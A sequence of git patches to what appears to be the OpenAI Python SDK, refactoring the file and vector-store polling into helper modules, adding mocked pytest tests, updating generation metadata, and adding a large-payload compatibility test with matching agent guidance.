index 9bd5040172..853ba3a565 100644
--- a/src/openai/resources/vector_stores/file_batches.py
+++ b/src/openai/resources/vector_stores/file_batches.py
@@ -13,13 +13,17 @@
from ... import _legacy_response
from ...types import FileChunkingStrategyParam
from ..._types import Body, Omit, Query, Headers, NotGiven, FileTypes, SequenceNotStr, omit, not_given
-from ..._utils import is_given, path_template, maybe_transform, async_maybe_transform
+from ..._utils import path_template, maybe_transform, async_maybe_transform
from ..._compat import cached_property
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ...pagination import SyncCursorPage, AsyncCursorPage
from ..._base_client import AsyncPaginator, make_request_options
from ...types.file_object import FileObject
+from ...lib._vector_stores import (
+ poll_vector_store_file_batch as _poll_vector_store_file_batch,
+ async_poll_vector_store_file_batch as _async_poll_vector_store_file_batch,
+)
from ...types.vector_stores import file_batch_create_params, file_batch_list_files_params
from ...types.file_chunking_strategy_param import FileChunkingStrategyParam
from ...types.vector_stores.vector_store_file import VectorStoreFile
@@ -340,30 +344,12 @@ def poll(
Note: this will return even if one of the files failed to process, you need to
check batch.file_counts.failed_count to handle this case.
"""
- headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
- if is_given(poll_interval_ms):
- headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
-
- while True:
- response = self.with_raw_response.retrieve(
- batch_id,
- vector_store_id=vector_store_id,
- extra_headers=headers,
- )
-
- batch = response.parse()
- if batch.file_counts.in_progress > 0:
- if not is_given(poll_interval_ms):
- from_header = response.headers.get("openai-poll-after-ms")
- if from_header is not None:
- poll_interval_ms = int(from_header)
- else:
- poll_interval_ms = 1000
-
- self._sleep(poll_interval_ms / 1000)
- continue
-
- return batch
+ return _poll_vector_store_file_batch(
+ self,
+ batch_id,
+ vector_store_id=vector_store_id,
+ poll_interval_ms=poll_interval_ms,
+ )
def upload_and_poll(
self,
@@ -728,30 +714,12 @@ async def poll(
Note: this will return even if one of the files failed to process, you need to
check batch.file_counts.failed_count to handle this case.
"""
- headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
- if is_given(poll_interval_ms):
- headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
-
- while True:
- response = await self.with_raw_response.retrieve(
- batch_id,
- vector_store_id=vector_store_id,
- extra_headers=headers,
- )
-
- batch = response.parse()
- if batch.file_counts.in_progress > 0:
- if not is_given(poll_interval_ms):
- from_header = response.headers.get("openai-poll-after-ms")
- if from_header is not None:
- poll_interval_ms = int(from_header)
- else:
- poll_interval_ms = 1000
-
- await self._sleep(poll_interval_ms / 1000)
- continue
-
- return batch
+ return await _async_poll_vector_store_file_batch(
+ self,
+ batch_id,
+ vector_store_id=vector_store_id,
+ poll_interval_ms=poll_interval_ms,
+ )
async def upload_and_poll(
self,
diff --git a/src/openai/resources/vector_stores/files.py b/src/openai/resources/vector_stores/files.py
index 06ae07129d..02b6ef2143 100644
--- a/src/openai/resources/vector_stores/files.py
+++ b/src/openai/resources/vector_stores/files.py
@@ -2,20 +2,24 @@
from __future__ import annotations
-from typing import TYPE_CHECKING, Dict, Union, Optional
-from typing_extensions import Literal, assert_never
+from typing import Dict, Union, Optional
+from typing_extensions import Literal
import httpx2
from ... import _legacy_response
from ...types import FileChunkingStrategyParam
from ..._types import Body, Omit, Query, Headers, NotGiven, FileTypes, omit, not_given
-from ..._utils import is_given, path_template, maybe_transform, async_maybe_transform
+from ..._utils import path_template, maybe_transform, async_maybe_transform
from ..._compat import cached_property
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ...pagination import SyncPage, AsyncPage, SyncCursorPage, AsyncCursorPage
from ..._base_client import AsyncPaginator, make_request_options
+from ...lib._vector_stores import (
+ poll_vector_store_file as _poll_vector_store_file,
+ async_poll_vector_store_file as _async_poll_vector_store_file,
+)
from ...types.vector_stores import file_list_params, file_create_params, file_update_params
from ...types.file_chunking_strategy_param import FileChunkingStrategyParam
from ...types.vector_stores.vector_store_file import VectorStoreFile
@@ -369,34 +373,12 @@ def poll(
Note: this will return even if the file failed to process, you need to check
file.last_error and file.status to handle these cases
"""
- headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
- if is_given(poll_interval_ms):
- headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
-
- while True:
- response = self.with_raw_response.retrieve(
- file_id,
- vector_store_id=vector_store_id,
- extra_headers=headers,
- )
-
- file = response.parse()
- if file.status == "in_progress":
- if not is_given(poll_interval_ms):
- from_header = response.headers.get("openai-poll-after-ms")
- if from_header is not None:
- poll_interval_ms = int(from_header)
- else:
- poll_interval_ms = 1000
-
- self._sleep(poll_interval_ms / 1000)
- elif file.status == "cancelled" or file.status == "completed" or file.status == "failed":
- return file
- else:
- if TYPE_CHECKING: # type: ignore[unreachable]
- assert_never(file.status)
- else:
- return file
+ return _poll_vector_store_file(
+ self,
+ file_id,
+ vector_store_id=vector_store_id,
+ poll_interval_ms=poll_interval_ms,
+ )
def upload(
self,
@@ -823,34 +805,12 @@ async def poll(
Note: this will return even if the file failed to process, you need to check
file.last_error and file.status to handle these cases
"""
- headers: dict[str, str] = {"X-Stainless-Poll-Helper": "true"}
- if is_given(poll_interval_ms):
- headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
-
- while True:
- response = await self.with_raw_response.retrieve(
- file_id,
- vector_store_id=vector_store_id,
- extra_headers=headers,
- )
-
- file = response.parse()
- if file.status == "in_progress":
- if not is_given(poll_interval_ms):
- from_header = response.headers.get("openai-poll-after-ms")
- if from_header is not None:
- poll_interval_ms = int(from_header)
- else:
- poll_interval_ms = 1000
-
- await self._sleep(poll_interval_ms / 1000)
- elif file.status == "cancelled" or file.status == "completed" or file.status == "failed":
- return file
- else:
- if TYPE_CHECKING: # type: ignore[unreachable]
- assert_never(file.status)
- else:
- return file
+ return await _async_poll_vector_store_file(
+ self,
+ file_id,
+ vector_store_id=vector_store_id,
+ poll_interval_ms=poll_interval_ms,
+ )
async def upload(
self,
diff --git a/tests/lib/test_vector_store_polling.py b/tests/lib/test_vector_store_polling.py
new file mode 100644
index 0000000000..1e1c1d62e1
--- /dev/null
+++ b/tests/lib/test_vector_store_polling.py
@@ -0,0 +1,106 @@
+from __future__ import annotations
+
+import asyncio
+from typing import Any, cast
+from unittest import mock
+from typing_extensions import TypeAlias
+
+import pytest
+
+from openai._types import Omit, omit
+from openai._models import construct_type_unchecked
+from openai.resources.vector_stores.files import Files, AsyncFiles
+from openai.resources.vector_stores.file_batches import FileBatches, AsyncFileBatches
+from openai.types.vector_stores.vector_store_file import VectorStoreFile
+from openai.types.vector_stores.vector_store_file_batch import VectorStoreFileBatch
+
+PollResource: TypeAlias = Files | AsyncFiles | FileBatches | AsyncFileBatches
+ITEM_ID = "item-synthetic"
+VECTOR_STORE_ID = "vs-synthetic"
+
+
+@pytest.fixture(params=[Files, AsyncFiles, FileBatches, AsyncFileBatches])
+def resource(request: pytest.FixtureRequest) -> PollResource:
+ resource_type = cast(type[PollResource], request.param)
+ return resource_type(cast(Any, mock.Mock()))
+
+
+def raw_response(resource: PollResource, *, pending: bool = False, headers: dict[str, str] | None = None) -> mock.Mock:
+ result: VectorStoreFile | VectorStoreFileBatch
+ if isinstance(resource, (Files, AsyncFiles)):
+ result = construct_type_unchecked(
+ type_=VectorStoreFile, value={"id": ITEM_ID, "status": "in_progress" if pending else "completed"}
+ )
+ else:
+ result = construct_type_unchecked(
+ type_=VectorStoreFileBatch, value={"id": ITEM_ID, "file_counts": {"in_progress": int(pending)}}
+ )
+ return mock.Mock(headers=headers or {}, parse=mock.Mock(return_value=result))
+
+
+async def poll(resource: PollResource, interval: int | Omit = omit) -> VectorStoreFile | VectorStoreFileBatch:
+ if isinstance(resource, (AsyncFiles, AsyncFileBatches)):
+ return await resource.poll(ITEM_ID, vector_store_id=VECTOR_STORE_ID, poll_interval_ms=interval)
+ return resource.poll(ITEM_ID, vector_store_id=VECTOR_STORE_ID, poll_interval_ms=interval)
+
+
+async def test_terminal_result(resource: PollResource) -> None:
+ terminal = raw_response(resource)
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve", return_value=terminal) as retrieve,
+ mock.patch.object(resource, "_sleep") as sleep,
+ ):
+ assert await poll(resource) is terminal.parse.return_value
+ retrieve.assert_called_once_with(
+ ITEM_ID, vector_store_id=VECTOR_STORE_ID, extra_headers={"X-Stainless-Poll-Helper": "true"}
+ )
+ sleep.assert_not_called()
+
+
+@pytest.mark.parametrize(
+ ("interval", "headers", "seconds"),
+ [(omit, {}, 1.0), (omit, {"openai-poll-after-ms": "2000"}, 2.0), (250, {"openai-poll-after-ms": "2000"}, 0.25)],
+ ids=["default", "server-hint", "explicit"],
+)
+async def test_poll_interval_and_headers(
+ resource: PollResource, interval: int | Omit, headers: dict[str, str], seconds: float
+) -> None:
+ terminal = raw_response(resource)
+ with (
+ mock.patch.object(
+ resource.with_raw_response,
+ "retrieve",
+ side_effect=[raw_response(resource, pending=True, headers=headers), terminal],
+ ) as retrieve,
+ mock.patch.object(resource, "_sleep") as sleep,
+ ):
+ assert await poll(resource, interval) is terminal.parse.return_value
+ expected_headers = {"X-Stainless-Poll-Helper": "true"}
+ if isinstance(interval, int):
+ expected_headers["X-Stainless-Custom-Poll-Interval"] = str(interval)
+ assert (
+ retrieve.call_args_list
+ == [mock.call(ITEM_ID, vector_store_id=VECTOR_STORE_ID, extra_headers=expected_headers)] * 2
+ )
+ sleep.assert_called_once_with(seconds)
+
+
+async def test_retrieve_error_propagates(resource: PollResource) -> None:
+ error = RuntimeError("synthetic retrieval failure")
+ with mock.patch.object(resource.with_raw_response, "retrieve", side_effect=error):
+ with pytest.raises(RuntimeError) as caught:
+ await poll(resource)
+ assert caught.value is error
+
+
+@pytest.mark.parametrize("resource_type", [AsyncFiles, AsyncFileBatches])
+async def test_async_cancellation_propagates(resource_type: type[AsyncFiles] | type[AsyncFileBatches]) -> None:
+ resource = resource_type(cast(Any, mock.Mock()))
+ cancellation = asyncio.CancelledError()
+ with (
+ mock.patch.object(resource.with_raw_response, "retrieve", return_value=raw_response(resource, pending=True)),
+ mock.patch.object(resource, "_sleep", side_effect=cancellation),
+ ):
+ with pytest.raises(asyncio.CancelledError) as caught:
+ await poll(resource)
+ assert caught.value is cancellation
From 5f20c51c694801cb0a4d0fed413bedc1bac2dda0 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 15:36:10 +0000
Subject: [PATCH 068/341] refactor(api): move file processing polling into
SDK-owned helpers (#3712)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the existing sync and async file-processing polling bodies into
SDK-owned `lib/_files.py`. `Files.wait_for_processing` and
`AsyncFiles.wait_for_processing` keep their public signatures, defaults,
docstrings, and return types, and delegate to the helpers. No schema,
compiler, dependency, or generation-metadata changes are needed.
The polling bodies are unchanged apart from renaming the receiver from
`self` to `files`. This preserves the `processed`/`error`/`deleted`
terminal states, wall-clock timing, dynamic `retrieve` and `_sleep`
hooks, return identity, and exact errors. In particular, the strict `>`
timeout check still happens after a repeated retrieval, even if that
retrieval returns a terminal state. This does not introduce a generic
polling framework or change existing timeout behavior.
Review pointers:
- Original public methods:
[sync](https://github.com/openai/openai-python/blob/bedb9a7b8839e193107e88b92f7cc166f08ac83d/src/openai/resources/files.py#L366)
and
[async](https://github.com/openai/openai-python/blob/bedb9a7b8839e193107e88b92f7cc166f08ac83d/src/openai/resources/files.py#L720).
- [Extracted
bodies](https://github.com/openai/openai-python/blob/3dfdf85e4d33a3274270aadccda6278c41ac8ede/src/openai/lib/_files.py#L12).
- [Focused regression
tests](https://github.com/openai/openai-python/blob/3dfdf85e4d33a3274270aadccda6278c41ac8ede/tests/lib/test_file_processing.py#L36):
13 cases covering sync/async terminal results, polling, timeout and
retrieval-error propagation, plus async cancellation.
Following the [review
discussion](https://github.com/openai/openai-python/pull/3712#discussion_r3830698221),
the new handwritten suite is limited to 87 lines rather than an
exhaustive matrix of clock, timeout, and event-order details. Existing
Files API tests are unchanged. The review revision changes only this new
test file; runtime source remains byte-identical to the original PR
head.
## Additional context & links
Validation:
- Commands: `TEST_API_BASE_URL=http://127.0.0.1:4141 .venv/bin/python -m
pytest tests/lib/test_file_processing.py
tests/api_resources/test_files.py -q -n 0` and the same command using
`.venv-pydantic-v1/bin/python`: **130 passed, 3 skipped** in each
Pydantic mode. The skips are the existing aiohttp/respx2-incompatible
`test_method_content`, `test_raw_response_content`, and
`test_streaming_response_content` cases.
- Commands: `.venv/bin/ruff format tests/lib/test_file_processing.py`
and `./scripts/lint` passed on the review revision, including Ruff,
Pyright, mypy, and import checks. The initial full `./scripts/format`
also passed; unrelated reporter-formatting changes were excluded.
- Command: `./scripts/build` passed. Both the wheel and source
distribution contain `openai/lib/_files.py`; importing the helper and
resource classes from the built wheel also passed.
- Exact source/AST comparison against the base verified both polling
bodies, all other resource statements, public signatures, exports,
request construction, and response wrappers.
The verified custom-code report keeps 36 mixed files and changes only
the Files resource customization, shrinking it from **+47/-0 to
+26/-0**. The other 35 customizations are unchanged. Reproduction
command:
```sh
python3 scripts/castiron/custom_code_report.py report \
--base bedb9a7b8839e193107e88b92f7cc166f08ac83d \
--head 3dfdf85e4d33a3274270aadccda6278c41ac8ede \
--fetch --require-head-hash --public \
--out /tmp/castiron-file-processing
```
---
src/openai/lib/_files.py | 57 ++++++++++++++++++++
src/openai/resources/files.py | 37 +++----------
tests/lib/test_file_processing.py | 87 +++++++++++++++++++++++++++++++
3 files changed, 152 insertions(+), 29 deletions(-)
create mode 100644 src/openai/lib/_files.py
create mode 100644 tests/lib/test_file_processing.py
diff --git a/src/openai/lib/_files.py b/src/openai/lib/_files.py
new file mode 100644
index 0000000000..ce88c689f2
--- /dev/null
+++ b/src/openai/lib/_files.py
@@ -0,0 +1,57 @@
+from __future__ import annotations
+
+import time
+from typing import TYPE_CHECKING
+
+from ..types.file_object import FileObject
+
+if TYPE_CHECKING:
+ from ..resources.files import Files, AsyncFiles
+
+
+def wait_for_file_processing(
+ files: Files,
+ id: str,
+ *,
+ poll_interval: float,
+ max_wait_seconds: float,
+) -> FileObject:
+ """Poll a file using the caller's resource and sleep hooks."""
+ TERMINAL_STATES = {"processed", "error", "deleted"}
+
+ start = time.time()
+ file = files.retrieve(id)
+ while file.status not in TERMINAL_STATES:
+ files._sleep(poll_interval)
+
+ file = files.retrieve(id)
+ if time.time() - start > max_wait_seconds:
+ raise RuntimeError(
+ f"Giving up on waiting for file {id} to finish processing after {max_wait_seconds} seconds."
+ )
+
+ return file
+
+
+async def async_wait_for_file_processing(
+ files: AsyncFiles,
+ id: str,
+ *,
+ poll_interval: float,
+ max_wait_seconds: float,
+) -> FileObject:
+ """Poll a file using the caller's async resource and sleep hooks."""
+ TERMINAL_STATES = {"processed", "error", "deleted"}
+
+ start = time.time()
+ file = await files.retrieve(id)
+ while file.status not in TERMINAL_STATES:
+ await files._sleep(poll_interval)
+
+ file = await files.retrieve(id)
+ if time.time() - start > max_wait_seconds:
+ raise RuntimeError(
+ f"Giving up on waiting for file {id} to finish processing after {max_wait_seconds} seconds."
+ )
+
+ return file
diff --git a/src/openai/resources/files.py b/src/openai/resources/files.py
index aee4fd1ab2..820866685c 100644
--- a/src/openai/resources/files.py
+++ b/src/openai/resources/files.py
@@ -2,7 +2,6 @@
from __future__ import annotations
-import time
import typing_extensions
from typing import Mapping, cast
from typing_extensions import Literal
@@ -24,6 +23,10 @@
to_custom_streamed_response_wrapper,
async_to_custom_streamed_response_wrapper,
)
+from ..lib._files import (
+ wait_for_file_processing as _wait_for_file_processing,
+ async_wait_for_file_processing as _async_wait_for_file_processing,
+)
from ..pagination import SyncCursorPage, AsyncCursorPage
from .._base_client import AsyncPaginator, make_request_options
from ..types.file_object import FileObject
@@ -371,20 +374,7 @@ def wait_for_processing(
max_wait_seconds: float = 30 * 60,
) -> FileObject:
"""Waits for the given file to be processed, default timeout is 30 mins."""
- TERMINAL_STATES = {"processed", "error", "deleted"}
-
- start = time.time()
- file = self.retrieve(id)
- while file.status not in TERMINAL_STATES:
- self._sleep(poll_interval)
-
- file = self.retrieve(id)
- if time.time() - start > max_wait_seconds:
- raise RuntimeError(
- f"Giving up on waiting for file {id} to finish processing after {max_wait_seconds} seconds."
- )
-
- return file
+ return _wait_for_file_processing(self, id, poll_interval=poll_interval, max_wait_seconds=max_wait_seconds)
class AsyncFiles(AsyncAPIResource):
@@ -725,20 +715,9 @@ async def wait_for_processing(
max_wait_seconds: float = 30 * 60,
) -> FileObject:
"""Waits for the given file to be processed, default timeout is 30 mins."""
- TERMINAL_STATES = {"processed", "error", "deleted"}
-
- start = time.time()
- file = await self.retrieve(id)
- while file.status not in TERMINAL_STATES:
- await self._sleep(poll_interval)
-
- file = await self.retrieve(id)
- if time.time() - start > max_wait_seconds:
- raise RuntimeError(
- f"Giving up on waiting for file {id} to finish processing after {max_wait_seconds} seconds."
- )
-
- return file
+ return await _async_wait_for_file_processing(
+ self, id, poll_interval=poll_interval, max_wait_seconds=max_wait_seconds
+ )
class FilesWithRawResponse:
diff --git a/tests/lib/test_file_processing.py b/tests/lib/test_file_processing.py
new file mode 100644
index 0000000000..8ac02acfcc
--- /dev/null
+++ b/tests/lib/test_file_processing.py
@@ -0,0 +1,87 @@
+from __future__ import annotations
+
+import asyncio
+from typing import Any, cast
+from unittest import mock
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai.lib import _files as file_helpers
+from openai._models import construct_type_unchecked
+from openai.resources.files import Files, AsyncFiles
+from openai.types.file_object import FileObject
+
+FILE_ID = "file-synthetic"
+
+
+def make_file(status: str) -> FileObject:
+ return construct_type_unchecked(type_=FileObject, value={"id": FILE_ID, "status": status})
+
+
+@pytest.fixture(params=["sync", "async"])
+def files_resource(request: pytest.FixtureRequest) -> Files | AsyncFiles:
+ client = mock.Mock()
+ if request.param == "sync":
+ return Files(cast(OpenAI, client))
+ return AsyncFiles(cast(AsyncOpenAI, client))
+
+
+async def wait(resource: Files | AsyncFiles, **kwargs: Any) -> FileObject:
+ if isinstance(resource, AsyncFiles):
+ return await resource.wait_for_processing(FILE_ID, **kwargs)
+ return resource.wait_for_processing(FILE_ID, **kwargs)
+
+
+@pytest.mark.parametrize("status", ["processed", "error", "deleted"])
+async def test_terminal_result(files_resource: Files | AsyncFiles, status: str) -> None:
+ terminal = make_file(status)
+ with (
+ mock.patch.object(files_resource, "retrieve", return_value=terminal) as retrieve,
+ mock.patch.object(files_resource, "_sleep") as sleep,
+ ):
+ assert await wait(files_resource) is terminal
+ retrieve.assert_called_once_with(FILE_ID)
+ sleep.assert_not_called()
+
+
+async def test_poll_until_processed(files_resource: Files | AsyncFiles) -> None:
+ terminal = make_file("processed")
+ with (
+ mock.patch.object(files_resource, "retrieve", side_effect=[make_file("uploaded"), terminal]) as retrieve,
+ mock.patch.object(files_resource, "_sleep") as sleep,
+ ):
+ assert await wait(files_resource, poll_interval=0.25) is terminal
+ assert retrieve.call_count == 2
+ sleep.assert_called_once_with(0.25)
+
+
+async def test_timeout(files_resource: Files | AsyncFiles) -> None:
+ with (
+ mock.patch.object(file_helpers, "time") as clock,
+ mock.patch.object(files_resource, "retrieve", return_value=make_file("uploaded")),
+ mock.patch.object(files_resource, "_sleep"),
+ ):
+ clock.time.side_effect = [0.0, 11.0]
+ with pytest.raises(RuntimeError, match=f"Giving up on waiting for file {FILE_ID}"):
+ await wait(files_resource, max_wait_seconds=10)
+
+
+async def test_retrieve_error_propagates(files_resource: Files | AsyncFiles) -> None:
+ error = RuntimeError("synthetic retrieval failure")
+ with mock.patch.object(files_resource, "retrieve", side_effect=error):
+ with pytest.raises(RuntimeError) as caught:
+ await wait(files_resource)
+ assert caught.value is error
+
+
+async def test_async_cancellation_propagates() -> None:
+ resource = AsyncFiles(cast(AsyncOpenAI, mock.Mock()))
+ cancellation = asyncio.CancelledError()
+ with (
+ mock.patch.object(resource, "retrieve", return_value=make_file("uploaded")),
+ mock.patch.object(resource, "_sleep", side_effect=cancellation),
+ ):
+ with pytest.raises(asyncio.CancelledError) as caught:
+ await resource.wait_for_processing(FILE_ID)
+ assert caught.value is cancellation
From e43b422412a9e96c9cc5192c61fffbe2d7e04836 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 17:01:23 +0000
Subject: [PATCH 069/341] chore(api): Update SDK generation metadata only
(#3716)
## Summary
Update only the generation metadata file (.castiron.stats.yml). There
are no customer-visible SDK behavior or public API contract changes.
## Changes
- Modify .castiron.stats.yml metadata
- No changes to SDK public APIs, methods, types, parameters, or return
values
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e32ac6fcbd..f04d6d8ac0 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: a346904e-ba2c-4683-831d-a452ad321113
+generation_id: 64f4392f-6816-485e-8210-b9a1c2ec7def
openapi_spec_hash: 92700e1a33a4f6174a01b46648c8186a
openapi_transformed_spec_hash: e37bbe0f04caa6093f1cb5d65d23ad03
-config_hash: d13c582815d0db08c374985806be7352
-codegen_sha: 035b803d39b5d87e9ea7624fdf638f58ff6343e9
-codegen_hash: 015182335504f95ee327a5096cdb3c6046b558c54ddac2ddb9d6b526be4b536d
-public_codegen_sha: e36749421d1be152d016bc41a8850bbdd9de0e63
+config_hash: beab4f058e80bab30085bb6c8467b65f
+codegen_sha: 23e8f705c06ddc2c2f80e8444b294793771e4f47
+codegen_hash: 717da37491ba2e308f370daeb4883c974f792a4385c5cd411d46904796787997
+public_codegen_sha: ffde304f4cfdd6d0ea6cd5ee855cc48efc89fc5d
From 0f18e73a808e3910ce13ec764eae8bd1ea6fa6fe Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Mon, 24 Aug 2026 13:50:22 +0000
Subject: [PATCH 070/341] test: protect large HTTP payload compatibility
(#3721)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Protect the current and recent releases’ support for large valid HTTP
responses across Responses and Chat Completions. The payload guidance
follows
[openai-node#2433](https://github.com/openai/openai-node/pull/2433):
supported API output should not gain new arbitrary body, event, or line
rejection limits as a side effect of security or performance fixes.
Add a deterministic public-entrypoint contract test with synthetic 32
MiB+1 text. It covers blocking Responses `output_text`, structured JSON
parsing in both APIs, streamed Responses deltas and final responses, and
Chat Completions' partial-JSON accumulation and final parsed completion.
The cases run sequentially in one test so pytest workers do not multiply
their memory cost. The intentional payload size is a regression probe,
not an API maximum; fixtures stay in memory and use no live API or real
credentials.
The existing HTTP paths accept these payloads, so this PR changes only
agent guidance and a standalone repository-owned test. It makes no
runtime, dependency, generation, or custom-code budget changes.
WebSockets are outside this PR's scope.
---
AGENTS.md | 18 +++
tests/test_large_payload_contract.py | 232 +++++++++++++++++++++++++++
2 files changed, 250 insertions(+)
create mode 100644 tests/test_large_payload_contract.py
diff --git a/AGENTS.md b/AGENTS.md
index 5bcdb9fb61..35458edfde 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -108,3 +108,21 @@ uv run --locked --all-extras python scripts/utils/validate-httpx2-wheel.py
```
Also run the scheduled compatibility matrix before release.
+
+## Large-payload compatibility
+
+Treat large payloads as a normal API contract, not evidence of malformed or
+hostile input. Responses, Chat Completions, and other APIs can legitimately
+return large `application/json` bodies and streaming events. Do not introduce
+arbitrary fixed limits on bodies, events, or lines as a security or efficiency
+fix. Prefer incremental processing, amortized-linear buffering, timely cleanup,
+and caller cancellation. Any new rejection limit needs an explicit,
+owner-approved API contract and a review of existing supported payloads and
+transports.
+
+Protect this behavior with focused, deterministic public-entrypoint tests using
+large synthetic payloads generated in memory, not committed captures or live
+image generation. Their high memory use is intentional: do not shrink the
+payloads or raise client limits to make the tests pass. Keep coverage to the main
+JSON and streaming categories, and run large cases sequentially to keep peak
+memory reasonable. The fixture size is a regression probe, not a new API maximum.
diff --git a/tests/test_large_payload_contract.py b/tests/test_large_payload_contract.py
new file mode 100644
index 0000000000..4e45cd75ce
--- /dev/null
+++ b/tests/test_large_payload_contract.py
@@ -0,0 +1,232 @@
+from __future__ import annotations
+
+import json
+from typing import Any, Callable, Iterator, AsyncIterator
+from typing_extensions import override
+
+import httpx2
+from pydantic import BaseModel
+
+from openai import OpenAI, AsyncOpenAI
+
+# High memory use is intentional: valid API payloads must not be rejected by
+# arbitrary body, event, or line caps. Keep this above 32 MiB; do not shrink it
+# to make a cap pass. This is a regression probe, not an API maximum. Generate
+# data in memory and keep the transport and helper cases sequential.
+PAYLOAD_SIZE = 32 * 1024 * 1024 + 1
+
+
+class TextResult(BaseModel):
+ value: str
+
+
+def assert_intact(actual: str | None, expected: str) -> None:
+ # Do not dump a 32 MiB string into pytest's assertion diagnostics.
+ intact = actual == expected
+ assert intact, "The large API payload was truncated or changed"
+
+
+def response_body(text: str) -> dict[str, Any]:
+ return {
+ "id": "resp_test",
+ "created_at": 0,
+ "model": "gpt-4o-mini",
+ "object": "response",
+ "parallel_tool_calls": True,
+ "status": "completed",
+ "tool_choice": "auto",
+ "tools": [],
+ "output": [
+ {
+ "type": "message",
+ "id": "msg_test",
+ "role": "assistant",
+ "status": "completed",
+ "content": [{"type": "output_text", "text": text, "annotations": []}],
+ }
+ ],
+ }
+
+
+def sync_client(respond: Callable[[httpx2.Request], httpx2.Response]) -> OpenAI:
+ return OpenAI(
+ api_key="test-key",
+ max_retries=0,
+ base_url="https://example.test/v1",
+ http_client=httpx2.Client(
+ transport=httpx2.MockTransport(respond),
+ ),
+ )
+
+
+def async_client(respond: Callable[[httpx2.Request], httpx2.Response]) -> AsyncOpenAI:
+ return AsyncOpenAI(
+ api_key="test-key",
+ max_retries=0,
+ base_url="https://example.test/v1",
+ http_client=httpx2.AsyncClient(
+ transport=httpx2.MockTransport(respond),
+ ),
+ )
+
+
+def check_blocking_json() -> None:
+ text = "x" * PAYLOAD_SIZE
+ with sync_client(lambda _: httpx2.Response(200, json=response_body(text))) as client:
+ response = client.responses.create(model="gpt-4o-mini", input="Hello")
+ assert_intact(response.output_text, text)
+
+
+async def check_structured_json() -> None:
+ value = "x" * PAYLOAD_SIZE
+ text = json.dumps({"value": value})
+ # Responses and Chat Completions have distinct structured-output parsers.
+ async with async_client(lambda _: httpx2.Response(200, json=response_body(text))) as client:
+ response = await client.responses.parse(model="gpt-4o-mini", input="Hello", text_format=TextResult)
+ assert_intact(response.output_text, text)
+ assert response.output_parsed is not None
+ assert_intact(response.output_parsed.value, value)
+ with sync_client(
+ lambda _: httpx2.Response(
+ 200,
+ json={
+ "id": "chatcmpl_test",
+ "object": "chat.completion",
+ "created": 0,
+ "model": "gpt-4o-mini",
+ "choices": [{"index": 0, "finish_reason": "stop", "message": {"role": "assistant", "content": text}}],
+ },
+ )
+ ) as chat_client:
+ completion = chat_client.chat.completions.parse(
+ model="gpt-4o-mini",
+ messages=[{"role": "user", "content": "Hello"}],
+ response_format=TextResult,
+ )
+ message = completion.choices[0].message
+ assert_intact(message.content, text)
+ assert message.parsed is not None
+ assert_intact(message.parsed.value, value)
+
+
+def sse_body(events: Iterator[dict[str, Any]]) -> Iterator[bytes]:
+ for event in events:
+ data = json.dumps(event).encode()
+ yield b"data: "
+ # Fragment the large JSON line across ordinary transport-sized chunks.
+ for start in range(0, len(data), 64 * 1024):
+ yield data[start : start + 64 * 1024]
+ yield b"\n\n"
+ yield b"data: [DONE]\n\n"
+
+
+class AsyncSSE(httpx2.AsyncByteStream):
+ def __init__(self, events: Iterator[dict[str, Any]]) -> None:
+ self.events = events
+
+ @override
+ async def __aiter__(self) -> AsyncIterator[bytes]:
+ for chunk in sse_body(self.events):
+ yield chunk
+
+
+async def check_responses_stream() -> None:
+ text = "x" * PAYLOAD_SIZE
+
+ def events() -> Iterator[dict[str, Any]]:
+ initial = response_body("")
+ message = initial["output"].pop()
+ initial["status"] = message["status"] = "in_progress"
+ part = message["content"].pop()
+ yield {"type": "response.created", "sequence_number": 0, "response": initial}
+ yield {"type": "response.output_item.added", "sequence_number": 1, "output_index": 0, "item": message}
+ yield {
+ "type": "response.content_part.added",
+ "sequence_number": 2,
+ "item_id": "msg_test",
+ "output_index": 0,
+ "content_index": 0,
+ "part": part,
+ }
+ yield {
+ "type": "response.output_text.delta",
+ "sequence_number": 3,
+ "delta": text,
+ "item_id": "msg_test",
+ "output_index": 0,
+ "content_index": 0,
+ "logprobs": [],
+ }
+ yield {
+ "type": "response.output_text.done",
+ "sequence_number": 4,
+ "text": text,
+ "item_id": "msg_test",
+ "output_index": 0,
+ "content_index": 0,
+ "logprobs": [],
+ }
+ yield {"type": "response.completed", "sequence_number": 5, "response": response_body(text)}
+
+ async with async_client(
+ lambda _: httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ stream=AsyncSSE(events()),
+ )
+ ) as client:
+ async with client.responses.stream(model="gpt-4o-mini", input="Hello") as stream:
+ saw_delta = saw_done = False
+ async for event in stream:
+ if event.type == "response.output_text.delta":
+ saw_delta = True
+ assert_intact(event.delta, text)
+ assert_intact(event.snapshot, text)
+ elif event.type == "response.output_text.done":
+ saw_done = True
+ assert_intact(event.text, text)
+ assert saw_delta and saw_done
+ assert_intact((await stream.get_final_response()).output_text, text)
+
+
+def check_chat_stream() -> None:
+ value = "x" * PAYLOAD_SIZE
+ text = json.dumps({"value": value})
+
